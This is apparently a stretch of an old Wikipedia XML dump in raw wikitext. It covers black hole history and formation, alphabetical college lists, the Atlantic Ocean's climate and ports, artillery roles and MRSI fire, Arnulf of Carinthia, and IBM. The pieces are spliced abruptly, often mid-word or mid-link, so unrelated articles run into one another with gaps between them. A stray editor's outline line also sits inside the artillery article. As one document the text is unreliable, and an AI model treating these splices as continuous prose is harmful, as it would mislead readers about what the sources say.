a point mass, showing that something we now call a black hole could theoretically exist. The [[Schwarzschild radius]] is now known to be the radius of the [[event horizon]] of a non-rotating black hole, but this was not well understood at that time. Schwarzschild himself thought it was not physical. In the 1920s, [[Subrahmanyan Chandrasekhar]] argued that special relativity demonstrated that a non-radiating body above 1.44 solar masses, now known as the [[Chandrasekhar limit]], would collapse since there was nothing known at that time that could stop it from doing so. His arguments were opposed by [[Arthur Eddington]], who believed that something would inevitably stop the collapse. Both were correct, since a [[white dwarf]] more massive than the Chandrasekhar limit will collapse into a [[neutron star]]. However, a neutron star above about three solar masses will itself become unstable against collapse due to similar physics. In 1939, [[Robert Oppenheimer]] and H. Snyder predicted that massive stars could undergo a dramatic [[gravitational collapse]]. Black holes could, in principle, be formed in nature. Such objects for a while were called '''frozen stars''' since the collapse would be observed to rapidly slow down and become heavily [[redshift|redshifted]] near the Schwarzschild radius. The mathematics showed that an outside observer would see the surface of the star frozen in time at the instant where it crosses that radius. However, these hypothetical objects were not the topic of much interest until the late 1960s. Most physicists believed that they were a peculiar feature of the highly symmetric solution found by Schwarzschild, and that objects collapsing in nature would not form black holes. Interest in black holes was rekindled in 1967 because of theoretical and experimental progress. [[Stephen Hawking]] and [[Roger Penrose]] proved that black holes are a generic feature in Einstein's theory of gravity, and cannot be avoided in some collapsing objects. Interest was renewed in the astronomical community with the discovery of [[pulsar]]s. Shortly thereafter, the use of the expression &quot;black hole&quot; was coined by theoretical physicist [[John Archibald Wheeler|John Wheeler]] [http://www.truephysics.com/timeline/timeline1961_1980.html]. The older Newtonian objects of Michell and Laplace are often referred to as &quot;[[dark star]]s&quot; to distinguish them from the &quot;black holes&quot; of general relativity. ==Evidence== [[Image:Black_Hole_Milkyway.jpg|thumb|250px|A (simulated) Black Hole of ten solar masses as seen from a distance of 600km with the Milky Way in the background (horizontal camera opening angle: 90°).]] ===Formation=== General relativity (as well as most other metric theories of gravity) not only says that black holes ''can'' exist, but in fact predicts that they will be formed in nature whenever a sufficient amount of mass gets packed in a given region of space, through a process called [[gravitational collapse]]. For example, if you compressed the Sun to a radius of three kilometers, about four millionths of its present size, it would become a black hole. As the mass inside the given region of space increases, its gravity becomes stronger &amp;mdash; or, in the language of relativity, the space around it becomes increasingly deformed. Eventually gravity gets so strong that nothing can escape; an [[event horizon]] is formed, and matter and energy must inevitably collapse into a [[gravitational singularity|singularity]]. A quantitative analysis of this idea led to the prediction that a star remaining about three to five times the mass of the Sun (the [[Tolman-Oppenheimer-Volkoff limit]]) at the end of its [[stellar evolution|evolution]], will almost inevitably shrink to the critical size needed to undergo a gravitational collapse. Once collapse starts, it cannot be stopped by any physical force, and a black hole is created. This is because there is a limit to the strength of materials due to the fact that the speed of sound, related to the materials stiffness, cannot be greater than the speed of light. Stellar collapse will generate black holes containing at least three [[solar mass]]es. Black holes smaller than this limit can only be created if their matter is subjected to sufficient pressure from some source other than self-gravitation. The enormous pressures needed for this are thought to have existed in the very early stages of the universe, possibly creating [[primordial black hole]]s which could have masses smaller than that of the Sun. [[Supermassive black hole]]s are believed to exist in the centres of most [[galaxy|galaxies]], including our own [[Milky Way]]. This type of black hole contains millions to billions of solar masses, and there are several models of how they might have been formed. The first is via gravitational collapse of a dense cluster of stars. A second is by large amounts of mass accreting onto a &quot;seed&quot; black hole of stellar mass. A third is by repeated fusion of smaller black holes. Finally it may be possible to construct such a black hole by the collapse of a large gas cloud via an intermediate stage of a relativistic star. Certain models of [[theory of everything|unification]] of the [[fundamental interaction|four fundamental forces]] allow the formation of [[micro black hole]]s under laboratory conditions. These postulate that the energy at which [[gravity]] is unified with the other forces is comparable to the energy at which the other three are [[grand unification theory|unified]], as opposed to being the [[Planck energy]] (which is much higher). This would allow production of extremely short-lived black holes in terrestrial [[particle accelerator]]s. No conclusive evidence of this type of black hole production has been presented, though even a negative result improves constraints on [[compactification (physics)|compactification]] of extra dimensions from [[string theory]
ities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]] ---- ==Da== #[[Da-Yeh Institute of Technology]] #[[Daemen College]] #[[Daito Bunka University]] #[[Dakota State University]] ([[Madison, South Dakota]]) #[[Dalhousie University]] ([[Halifax, Nova Scotia]]) #[[Dalian University of Technology]] #[[Dallas Baptist University]] #[[Dallas County Community College District]] #[[Dana College]] #[[Daniel Webster College]] #[[Danville Area Community College]] #[[Dartington College of Arts]] ([[Totnes]], [[Devon]]) #[[Dartmouth College]] ([[Hanover, New Hampshire]]) #[[Daugavpils Pedagogical University]] #[[David Lipscomb University]] #[[Davidson College]] #[[Davies Laing &amp; Dick]] #[[Davis and Elkins College]] #[[Dawson College]] ==De== #[[De Anza College]] #[[De La Salle University]] #[[De Montfort University]] ===DeK-DeV=== #[[DeKalb College]] #[[DeKalb Technical Institute]] #[[DePaul University]] #[[DePauw University]] #[[DeVry University System]] ##[[DeVry University, Atlanta]] ##[[DeVry University, Calgary]] ##[[DeVry University, Chicago]] ##[[DeVry University, Columbus]] ##[[DeVry University, Dallas]] ##[[DeVry University, DuPage]] ##[[DeVry University, Fremont]] ##[[DeVry University, Kansas City]] ##[[DeVry University, Long Beach]] ##[[DeVry University, New Jersey]] ##[[DeVry University, Ontario]] in [[Toronto, Ontario|Toronto]] ##[[DeVry University, Orlando]] ##[[DeVry University, Phoenix]] ##[[DeVry University, Pomona, CA]] ##[[DeVry University, Tinley Park]] ##[[DeVry University, West Hills]] ##[[DeVry University, Westminster]] ===Dea-Deu=== #[[Deakin University]] #[[Deep Springs College]] #[[Delaware Technical and Community College]] #[[Delft University of Technology]] ([[Delft]], [[The Netherlands]]) #[[Delgado Community College]] #[[Delhi College of Engineering]] #[[Delhi Institute of Technology]] #[[Delhi University]] #[[Delta College (Michigan)|Delta College]] #[[Delta State University]] #[[Delta University]] #[[Democritus University]] #[[Denison University]] #[[Des Moines Area Community College]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]]) #[[Des Moines University and College of Osteopathic Medicine]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]]) #[[Det Noedvendige Seminarium]] #[[Deutsche Sporthochschule Koln]] ==Di-Dr== #[[Diablo Valley College]] #[[Dickinson College]] #[[Diné College]] #[[Dixie College]] #[[Dnyaneshwar Vidyapeeth]] #[[Dokkyo University School of Medicine]] #[[Don Bosco Institute of Technology, Banglore]] #[[Don Bosco Institute of Technology, Mumbai]] #[[DongSeo University]] #[[Dongguk University]] #[[Dortmund University]] #[[Doshisha University]] #[[Douglas College]] #[[Dowling College]] #[[Downing College]] #[[Dr.Ambedkar Institute of Technology]] #[[Drake University]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]]) #[[Dream Harvest College]], [[Stratford, London|London]], [[East London]] #[[Drew University]] #[[Dresden University of Technology]] #[[Drexel University]] ([[Philadelphia, Pennsylvania]], [[United States|USA]]) #[[Drury College]] ==Du-Dy== #[[Dublin City University]] #[[Dublin Institute of Technology]] #[[Duisburg Technical University]] #[[Duke University]] #[[Dundee University]] #[[Dunwoody College of Technology]] #[[Duquesne University]] #[[Durham College]] #[[University of Durham|Durham University]] #[[Dutchess Community College]] #[[Dr D.Y. Patil College of Engineering, Pune]] See also: * [[List of colleges and universities]] [[Category:Lists of universities and colleges by alphabetical order|D]]</text> </revision> </page> <page> <title>List of colleges and universities starting with F</title> <id>6478</id> <revision> <id>36683409</id> <timestamp>2006-01-25T20:05:59Z</timestamp> <contributor> <username>Youngamerican</username> <id>191420</id> </contributor> <minor /> <comment>bypass redirect</comment> <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- '''F''' -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]] ---- #[[Fachhochschule Fulda]] #[[Fachhochschule Furtwangen]] #[[Fachhochschule Gießen-Friedberg]] #[[Fachhochschule Harz]] #[[Fachhochschule Köln]] #[[Fachhochschule Karlsruhe]] #[[Fachhochschule Konstanz]] #[[Fachhochschule München]] #[[Fachhochschule Offenburg]] #[[Fachhochschule Osnabrück]] #[[Reutlingen University|Fachhochschule Reutlingen, Hochschule fur Technik und Wirtschaft]] #[[Faculte Polytechnique de Mons]] #[[Fairhaven College]] #[[Fairleigh Dickinson University]] #[[Fairmont State University]] #[[Fanshawe College of Applied Arts and Technology]] #[[Far Eastern University]] #[[Fayetteville State University]] #[[Federal University of Paraíba]] #[[Felician College]] #[[Feng Chia University]] #[[Ferris State University]] #[[Fielding Institute]] #[[Fife College of Further and Higher Education]] #[[Findhorn College]] #[[Fisk University]] #[[Fitchburg State College]] #[[Flinders University]] #[[Florida A&amp;M University]] #[[Florida Atlantic University]] #[[Florida College]] #[[Florida Community College at Jacksonville]] #[[Florida Gulf Coast University]] #[[Florida Institute of Technology]] #[[Florida International University]] #[[Florida State University]] #[[Folsom Lake College]] #[[Fond du Lac Tribal and Community College]] #[[Fontbonne College]] #[[Foothill College]] #[[Fordham University]] #[[Fort Belknap College]] #[[Fort Berthold Community College]] #[[Fort Hays State University]] #[[Fort Lewis College]] #[[Fort Peck Community College]] #[[Fort Valley State University]] #[[Foshan University]] #[[Fox Valley Technical College]] #[[Francis Marion University]] #[[Franciscan University of Steubenville]] #[[Franco-Polish School of New Information and Communication Technologies]] #[[Frankfurt University]] #[[Franklin and Marshall College]] #[[Franklin College Switzerland]] #[[Franklin College]], Indiana #[[Franklin Pierce College]] #[[Franklin Pierce Law Center]] #[[Franklin W. Olin College of Engineering]] #[[Fredonia State University]] #[[Freed-Hardeman University]] #[[Free University of Berlin|Freie Universität Berlin]] #[[French Naval Academy]] #[[Fresno Pacific College]] #[[University of Karlsruhe|Fridericiana]] #[[Friedrich Schiller Universität, Jena ]] #[[Friends International Christian University]] #[[Friends University]] #[[Front Range Community College]] #[[Frostburg State University]] #[[Fu Jen Catholic University]] #[[Fudan University]] #[[Fujita Health University]] #[[Fukui University]] #[[Fukuoka University]] #[[Fukuoka Institute of Technology]] #[[Fukuoka Junior College of Technology]] #[[Fukushima Medical College]] #[[Fukushima University]] #[[Fullerton College]] #[[Furman University]] :''See also :'' [[Colleges and universities]] [[Category:Lists of universities and colleges by alphabetical order|F]]</text> </revision> </page> <page> <title>List of colleges and universities starting with E</title> <id>6479</id> <revision> <id>42152984</id> <timestamp>2006-03-04T04:12:04Z</timestamp> <contributor> <username>Loukinho</username> <id>461336</id> </contributor> <comment>/* Eo-Et */</comment> <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- '''E''' -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_co
graphic.gif|frame|right|Waves in the trade winds in the Atlantic Ocean — areas of converging winds that move along the same track as the prevailing wind — create instabilities in the atmosphere that may lead to the formation of hurricanes.]] The climate of the Atlantic Ocean and adjacent land areas is influenced by the temperatures of the surface waters and water currents as well as the winds blowing across the waters. Because of the oceans' great capacity for retaining heat, maritime climates are moderate and free of extreme seasonal variations. [[Precipitation (meteorology)|Precipitation]] can be approximated from coastal weather data and air temperature from the water temperatures. The oceans are the major source of the atmospheric moisture that is obtained through evaporation. Climatic zones vary with latitude; the warmest climatic zones stretch across the Atlantic north of the equator. The coldest zones are in the high latitudes, with the coldest regions corresponding to the areas covered by sea ice. Ocean currents contribute to climatic control by transporting warm and cold waters to other regions. Adjacent land areas are affected by the winds that are cooled or warmed when blowing over these currents. The [[Gulf Stream]], for example, warms the atmosphere of the British Isles and northwestern Europe, and the cold water currents contribute to heavy fog off the coast of northeastern Canada (the [[Grand Banks]] area) and the northwestern coast of Africa. In general, winds tend to transport moisture and warm or cool air over land areas. [[tropical cyclone|Hurricane]]s develop in the southern part of the North Atlantic Ocean. ==History and economy== The Atlantic Ocean appears to be the second youngest of the world's oceans, after the [[Southern Ocean]]. Evidence indicates that it did not exist prior to 180 million years ago, when the continents that formed from the breakup of the ancestral supercontinent, [[Pangaea]], were being rafted apart by the process of seafloor spreading. The Atlantic has been extensively explored since the earliest settlements were established along its shores. The [[Vikings]], [[Portugal|Portuguese]], and [[Christopher Columbus]] were the most famous among its early explorers. After Columbus, European exploration rapidly accelerated, and many new trade routes were established. As a result, the Atlantic became and remains the major artery between Europe and the Americas (known as [[transatlantic]] trade). Numerous scientific explorations have been undertaken, including those by the German Meteor expedition, Columbia University's Lamont Geological Observatory, and the United States Navy [[Hydrographic office#United States|Hydrographic Office]]. The ocean has also contributed significantly to the development and economy of the countries around it. Besides its major &quot;[[transatlantic]]&quot; transportation and communication routes, the Atlantic offers abundant petroleum deposits in the [[sedimentary rock]]s of the continental shelves and the world's richest fishing resources, especially in the waters covering the shelves. The major species of fish caught are [[cod]], [[haddock]], [[hake]], [[herring]], and [[mackerel]]. The most productive areas include the [[Grand Banks]] of [[Newfoundland]], the shelf area off [[Nova Scotia]], [[Georges Bank]] off [[Cape Cod]], the Bahama Banks, the waters around [[Iceland]], the [[Irish Sea]], the [[Dogger Bank]] of the [[North Sea]], and the Falkland Banks. [[Eel]], [[lobster]], and [[whale]]s have also been taken in great quantities. All these factors, taken together, tremendously enhance the Atlantic's great commercial value. Because of the threats to the ocean environment presented by oil spills, [[marine debris]], and the incineration of toxic wastes at sea, various international treaties exist to reduce some forms of pollution. *In [[1858]], the first [[Transatlantic telegraph cable]] was laid by [[Cyrus Field]]. *In [[1919]], the American [[NC-4]] became the first [[airplane]] to cross the Atlantic (though it made a couple of landings on islands along the way). *Later in [[1919]], a British airplane piloted by [[Alcock and Brown]] made the first non-stop transatlantic flight from [[Newfoundland]] to [[Ireland]]. *In [[1921]], the [[United Kingdom|British]] were the first to cross the North Atlantic in an [[airship]]. *In [[1922]], the [[Portugal|Portuguese]] were the first to cross the South Atlantic in an [[airship]]. *The first transatlantic [[telephone]] call was made on [[January 7]], 1927. *In [[1927]], [[Charles Lindbergh]] made the first solo non-stop transatlantic flight in an airplane (between [[New York City]] and [[Paris]]). *After rowing for 81 days and 2,962 miles, on [[December 3]], [[1999]] [[Tori Murden]] became the first woman to cross the Atlantic Ocean by [[rowboat]] alone when she reached [[Guadeloupe]] from the [[Canary Islands]]. '''Location:''' body of water between [[Africa]], [[Europe]], the [[Southern Ocean]], and the [[Americas]] '''[[Geographic coordinates]]:''' {{coor dm|0|00|N|25|00|W|}} '''Map references:''' [[World]] '''Area:''' * ''total:'' [[1 E13 m²|76.762 million km²]] (29.637 million mi²) * ''note:'' includes the [[Baltic Sea]], [[Black Sea]], [[Caribbean Sea]], [[Davis Strait]], [[Denmark Strait]], part of the [[Drake Passage]], [[Gulf of Mexico]], [[Labrador Sea]], [[Mediterranean Sea]], [[North Sea]], [[Norwegian Sea]], almost all of the [[Scotia Sea]], and other tributary water bodies '''Area - comparative:''' slightly less than 6.5 times the size of the [[United States]] '''Coastline:''' 111,866 km (69,510 mi) '''Climate:''' Tropical cyclones ([[hurricane]]s) develop anywhere from off the coast of Africa near [[Cape Verde]] to the [[Windward Islands]] and move westward into the [[Caribbean Sea]] or up the east coast of North America; hurricanes can occur from May to December, but are most frequent from late July to early November. Storms are common in the North Atlantic during northern winters, making ocean crossings more difficult and dangerous. ==Terrain== The surface is usually covered with sea ice in the [[Labrador Sea]], [[Denmark Strait]], and [[Baltic Sea]] from October to June. There is a clockwise warm-water gyre (broad, circular system of currents) in the northern Atlantic, and a counter-clockwise warm-water gyre in the southern Atlantic. The ocean floor is dominated by the [[Mid-Atlantic Ridge]], a rugged north-south centerline for the entire Atlantic basin, first discovered by the [[Challenger Expedition]]. ===Elevation extremes=== *''lowest point:'' [[Milwaukee Deep]] in the [[Puerto Rico Trench]] -8,605 metres (28,232 ft; 5.3 mi) *''highest point:'' sea level 0 metres ===Natural resources=== [[Petroleum]] and [[gas]] fields, [[fish]], marine mammals ([[seal (mammal)|seal]]s and [[whale]]s), sand and gravel aggregates, [[placer deposit]]s, polymetallic nodules, precious stones ===Natural hazards=== [[Iceberg]]s are common in the [[Davis Strait]], [[Denmark Strait]], and the northwestern Atlantic Ocean from February to August and have been spotted as far south as [[Bermuda]] and the [[Madeira Islands]]. Ships are subject to [[superstructure#Engineering concept|superstructure]] [[icing (nautical)|icing]] in extreme northern Atlantic from October to May. Persistent fog can be a maritime hazard from May to September. So can hurricanes north of the equator (May to December). The [[Bermuda Triangle]] is popularly believed to be the site of numerous aviation and shipping incidents, due to unexplained and supposedly mysterious causes, but coastguard records do not support this belief. == Current environmental issues == Endangered marine species include the [[manatee]], [[seal (mammal)|seal]]s, [[sea lion]]s, [[turtle]]s, and [[whale]]s. Drift net fishing is killing [[dolphin]]s, [[albatross]]es and other seabirds ([[petrel]]s, [[auk]]s), hastening the decline of fish stocks and contributing to international disputes. There is municipal sludge pollution off the eastern United States, southern [[Brazil]], and eastern [[Argentina]], oil pollution in the [[Caribbean Sea]], [[Gulf of Mexico]], [[Lake Maracaibo]], [[Mediterranean Sea]], and [[North Sea]], and industrial waste and municipal sewage pollution in the Baltic Sea, North Sea, and Mediterranean Sea. == Notes on geography == Major chokepoints include the [[Strait of Gibraltar]] and the [[Panama Canal]]; strategic straits include the [[Strait of Dover]], [[Straits of Florida]], [[Mona Passage]], The Sound ([[Oresund]]), and [[Windward Passage]]; the [[Equator]] divides the Atlantic Ocean into the North Atlantic Ocean and South Atlantic Ocean (previously known as the [[Ethiopic Ocean]]). During the [[Cold War]] the so called [[Greenland]]-[[Iceland]]-[[United Kingdom|UK]] (GIUK) Gap was a major strategic concern, the seabed in that area was laid with extensive [[hydrophone]] systems to track Soviet [[submarine]]s. ==Ports and harbours== *[[Aberdeen]] ([[United Kingdom]]) *[[Abidjan]] ([[Côte d'Ivoire]]) *[[A Coruña]] ([[Spain]]) *[[Accra]] ([[Ghana]]) *[[Ålesund]] ([[Norway]]) *[[Amsterdam]] ([[Netherlands]]) *[[Antwerp]] ([[Belgium]]) *[[Bahia Blanca]] ([[Argentina]]) *[[Baltimore]] ([[United States]]) *[[Banjul]] ([[The Gambia]]) *[[Belfast]] ([[Northern Ireland]]) *[[Bergen, Norway|Bergen]] ([[Norway]]) *[[Bissau]] ([[Guinea-Bissau]]) *[[Bodø]] ([[Norway]]) *[[Bordeaux]] ([[France]]) *[[Boston, Massachusetts|Boston]] ([[United States]]) *[[Bremen (city)|Bremen]] ([[Germany]]) *[[Brest, France|Brest]] ([[France]]) *[[Bristol]] ([[England]]) *[[Cadiz]] ([[Spain]]) *[[Cape Town]] ([[South Africa]]) *[[Casablanca]] ([[Morocco]]) *[[Cayenne]] ([[French Guiana]]) *[[Charleston, South Carolina|Charleston]] ([[United States]]) *[[Charlottetown]] ([[Canada]]) *[[Cherbourg]] ([[France]]) *[[Conakry]] ([[Guinea]]) *[[Cork]] ([[Republic of Ireland]]) *[[Cotonou]] ([[Benin]]) *[[Dakar]] ([[Senegal]]) *[[Doua
tillery detachement of the [[IFOR]] near [[Sarajevo]] in 1996.]] [[Image:Gun5a.JPG|thumb|[[USMC]] [[M-198]] firing outside of [[Fallujah]], [[Iraq]] in 2004]] Depending on the calibre of the weapons, artillery is used in a variety of roles. Mortars fire relatively short range and small- to medium-calibre (up to about 120 mm) projectiles. Modern mortars, because of their lighter weight and simpler, more transportable design, are usually organic to [[infantry]] and [[armor]] units, allowing greater responsiveness and negating their shorter range. Howitzers are generally used in direct support of infantry and armor, where the guns of a [[Artillery battery|battery]] or even a [[battalion]] will be massed to fire simultaneously onto a single point or area target. Howitzers are usually between about 105 mm and 155 mm in calibre. === Counter-battery fire === Attacks aimed at enemy artillery rather than infantry or fortifications are known as [[counter-battery fire|counter battery fire]]. [[Radar]] coupled to [[computer|computers]] can accurately track a projectile in flight back to its firing point. This can be used as targeting information for an enemy artillery site. When artillery fire is directed via radio by a forward observer (FO), the location of FO's transmitter can be calculated and attacked with artillery as well. If successful, this counter-attack will limit the effectiveness of the FO's artillery fire. Radar also improves the all-weather flexibility of modern artillery. The rise in counter-battery abilities has driven field artillery to adopt &quot;[[shoot-and-scoot]]&quot; tactics emphasizing constant maneuver within a designated position area, usually from hide point to firing point and back again. This has required reliance on sometimes temperamental technology and increased the cost of modern field artillery systems. === Field artillery team === {{main|field artillery}} Modern field artillery (Post-[[World War I]]) has three distinct parts: the forward observer (or FO), the fire direction center (FDC) and the actual guns themselves. The forward observer observes the target using tools such as [[binocular]]s, [[laser range-finder]]s, designators and call back fire missions on his radio. The FO deals solely with the FDC, of which there is usually one per each [[Artillery battery|battery]] of six guns. The FDC computes firing data, ''fire direction'', for the guns. The FDC will transmit the fire order to the guns, specifying the number of volleys, shell and fuze combination, charge, deflection and quadrant elevation, and any special instructions. === MRSI === It is possible for modern computer-controlled artillery to fire more than one volley at a target and have all the shells arrive simultaneously, which is called MRSI (Multiple Rounds Simultaneous Impact). This is because there is more than one trajectory for the rounds to fly to any given target - typically one is below 45 degrees from horizontal and the other is above it, and if you can vary the amount of propellant with each shell, you can create more trajectories. Because the higher trajectories cause the shells to arc higher into the air, they take longer to reach the target and so if the shells are fired on these trajectories for the first volleys (starting with the shell with the most propellant and working down) and then after the correct pause more volleys are fired on the lower trajectories, the shells will all arrive at the same time. This is useful because many more shells can land on the target with no warning. With traditional volleys along the same trajectory, anybody at the target point will have a certain amount of time (however long it takes to reload and re-fire the guns) to run away or take cover between volleys. In addition, if guns in more than one location are firing on one target, with careful timing it can be arranged for all their shells to land at the same time for the same reason. Examples of MRSI guns are [[South Africa]]'s [[Denel G6]]-52 (which can land six rounds simultaneously at targets at least 25 km away) and [[Germany]]'s [[PzH 2000 howitzer|Panzer Haubitze 2000]] (which can land five rounds simultaneously at targets at least 17 km away). The [[United States]] [[XM2001 Crusader|Crusader]] programme (now cancelled) was slated to have MRSI capability. When an effect similar to that of MRSI is achieved using separate batteries of traditional artillery, using varying fuzes to account for the variant distances or trajectories to cause all shells to detonate on the target at the same time, it is called TOT (Time On Target). The logic behind this practice is the same as that for MRSI: to surprise the enemy and to sow confusion when guns heard to be firing at different times nonetheless result in deadly explosions in the same instant. An additional wrinkle can be added when some or all of the shells are set for airburst, meaning they explode in the air above the target instead of upon impact. This is a very effective tactic against infantry and light vehicles because it scatters the [[shrapnel]] over a larger area and prevents the blast [[shockwave]] from being blocked by terrain, but usually proves ineffective against troops or equipment protected by even rudimentary [[fortification|fortifications]]. However, airbursts are probably more likely to impact units protected by [[trench]]es and [[revetment]]s, since the shrapnel can enter them from above, while a ground-burst nearby would simply cause the shrapnel to impact the walls or fly overhead. technical - metal, propellant, recuperation, manufacturing - obturation, etc. doctrine - direct vs indirect fire, predicted fire, observed fire - forward observation, pre-planned fire - registered fire, barrage, creeping barrage, STOP (simultaneous time on top) == Quotations == *&quot;God fights on the side with the best artillery.&quot; - [[Napoleon I of France|Napoleon Bonaparte]]. Another version of this quotation is: &quot;God is on the side of the stronger [[battalion]].&quot; *&quot;I do not have to tell you who won the war. You know, the artillery did.&quot; - Gen [[George S. Patton]] *&quot;Our artillery... The Germans feared it almost more than anything we had.&quot; - [[Ernie Pyle]] &quot;Brave Men&quot;, 1944 A.D. *&quot;Artillery is the god of war.&quot; - [[Stalin]] *&quot;Contrary to popular belief, we at artillery command do not believe we're God. We merely borrowed His &quot;Smite&quot; button.&quot; - Anonymous *&quot;The Mission of the Artillery is to give some class to what would otherwise be merely a vulgar brawl.&quot; - Some Redleg (American Artilleryman, since their dress blue uniforms have red stripes). This quotation has also been attributed to [[Frederick the Great]]. *&quot;Without support the infantry won't move.&quot; (In [[Hebrew language|Hebrew]] it rhymes) - The [[motto]] of the [[Israeli Artillery Corps]]. *&quot;Infantry err, infantry die. Artillery err, infantry die.&quot; -[[Israel Defense Forces|IDF]] black humor slogan *&quot;The bombs land with awesome explosions, the earth trembles, the upcast of craters jets in the air, the troops are shocked by the blast waves, many bleed from noses or perforated ear drums, they are terrorized into apathy or outright panic. But unless the enemy is nearby and ready to advance immediately, the moment passes.&quot; - [[Edward Luttwak]] *&quot;Since infantry is considered the 'Queen of Battle', and artillery the king, I had inscribed my personal banner &quot;Balls for the Queen&quot;. Granted, high explosive 150 millimeter shells aren't exactly cannonballs, but hey, why spoil a perfectly good motto?&quot; - [[Tommy Franks]], while an artillery lieutenant in Vietnam. *&quot;An artillery barrage is a terrifying thing.&quot; - [[Erich Maria Remarque]] *&quot;If two sides start out at equal strength, and are relatively equally damaged, but one side can replenish his artillery, and the other side cannot, then that one side that gets his artillery back has all but won.&quot; - Anonymous == See also == *[[List of artillery]] *[[88 mm gun]] *[[Artillery battery]] *[[Paris Gun]] *[[Nuclear artillery]] *[[Self-propelled artillery]] *[[Shell (projectile)]] *[[Siege engine]] == External links == *[http://www.ussmissouri.com/VDO_on_demand.aspx?Name=TurretOps_GunRoom.wmv Video: Inside one of ''Missouri''’s 16&quot; gun room, about 1955. (Windows Media File)] [[Category:Artillery]] [[bg:Артилерия]] [[cs:Dělostřelectvo]] [[da:Artilleri]] [[de:Artillerie]] [[el:Πυροβολικό]] [[es:Artillería]] [[fr:Artillerie]] [[he:ארטילריה]] [[hr:Topništvo]] [[it:Artiglieria]] [[ja:大砲]] [[ko:대포]] [[nl:Artillerie]] [[no:Artilleri]] [[pl:Artyleria]] [[pt:Artilharia]] [[ru:Артиллерия]] [[sl:Artilerija]] [[sr:Артиљерија]] [[sv:Artilleri]] [[uk:Артилерія]] [[vi:Pháo]] [[zh:火炮]]</text> </revision> </page> <page> <title>Andrey Tupolev</title> <id>2509</id> <revision> <id>15900914</id> <timestamp>2003-01-01T00:10:59Z</timestamp> <contributor> <ip>64.228.30.135</ip> </contributor> <text xml:space="preserve">#Redirect [[Andrei Tupolev]]</text> </revision> </page> <page> <title>Arnulf of Carinthia</title> <id>2510</id> <revision> <id>36741205</id> <timestamp>2006-01-26T03:37:30Z</timestamp> <contributor> <username>Miwasatoshi</username> <id>183350</id> </contributor> <minor /> <comment>extra comma</comment> <text xml:space="preserve">'''Arnulf of Carinthia''' ([[German language|German]] ''Arnulf von Kärnten'', [[Slovenian language|Slovenian]] ''Arnulf Koroški'') ([[850]] &amp;ndash; [[December 8]] [[899]]) was one of the last ruling members of the [[Carolingians|Carolingian Dynasty]] in [[East Francia]], which had been split from the rest of [[Frankish]] territory by the [[Treaty of Verdun]] in [[843]]. He was the illegitimate son of the [[duke of Bavaria|Bavarian king]] [[Carloman, K
headquartered in [[Armonk, New York|Armonk, NY]], [[United States|USA]]. The company manufactures and sells [[computer hardware]], [[software]], infrastructure services and [[consulting|consulting services]]. With almost 330,000 employees worldwide and revenues of $91 billion annually (figures from 2005), IBM is the largest [[information technology]] company in the world, and one of the few with a continuous history dating back to the [[19th century]]. It has engineers and consultants in over 170 countries and development laboratories located all over the world, in all segments of [[computer science]] and information technology; some of them are pioneers in areas ranging from [[mainframe computer]]s to [[nanotechnology]]. In recent years, services and consulting revenues have been larger than those from manufacturing. [[Samuel J. Palmisano]] was elected [[Chief executive officer|CEO]] on [[January 29]], [[2002]] after having led IBM's Global Services, and helping it to become a business with a $100 billion in backlog in 2004 [http://www.ibm.com/ibm/sjp/bio.shtml]. In 2002 the company strengthened its business advisory capabilities by acquiring the consulting arm of professional services firm [[PricewaterhouseCoopers]]. The consulting arm was previously known as Monday. The company is increasingly focused on business solution driven consulting, services and software, with emphasis also on high value chips and hardware technologies; [[as of 2005]] it employs about 195,000 technical professionals. That total includes about 350 Distinguished Engineers and 60 [[IBM Fellow]]s, its most senior engineers. [[IBM Research]] has eight laboratories, all located in the [[Northern Hemisphere]], with five of those locations outside of the United States. IBM employees have won five [[Nobel Prize]]s. In the USA, they have earned four 